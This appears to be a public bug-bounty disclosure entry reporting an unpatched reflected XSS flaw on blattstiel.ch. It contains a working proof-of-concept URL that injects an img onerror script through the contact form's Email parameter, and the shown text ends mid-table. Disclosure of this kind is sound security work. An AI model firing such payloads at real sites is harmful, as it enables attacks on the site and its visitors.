blattstiel.ch XSS vulnerability

Vulnerable URL: http://www.blattstiel.ch/frmkontakt.cfm?Email=info%27%22%3E%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...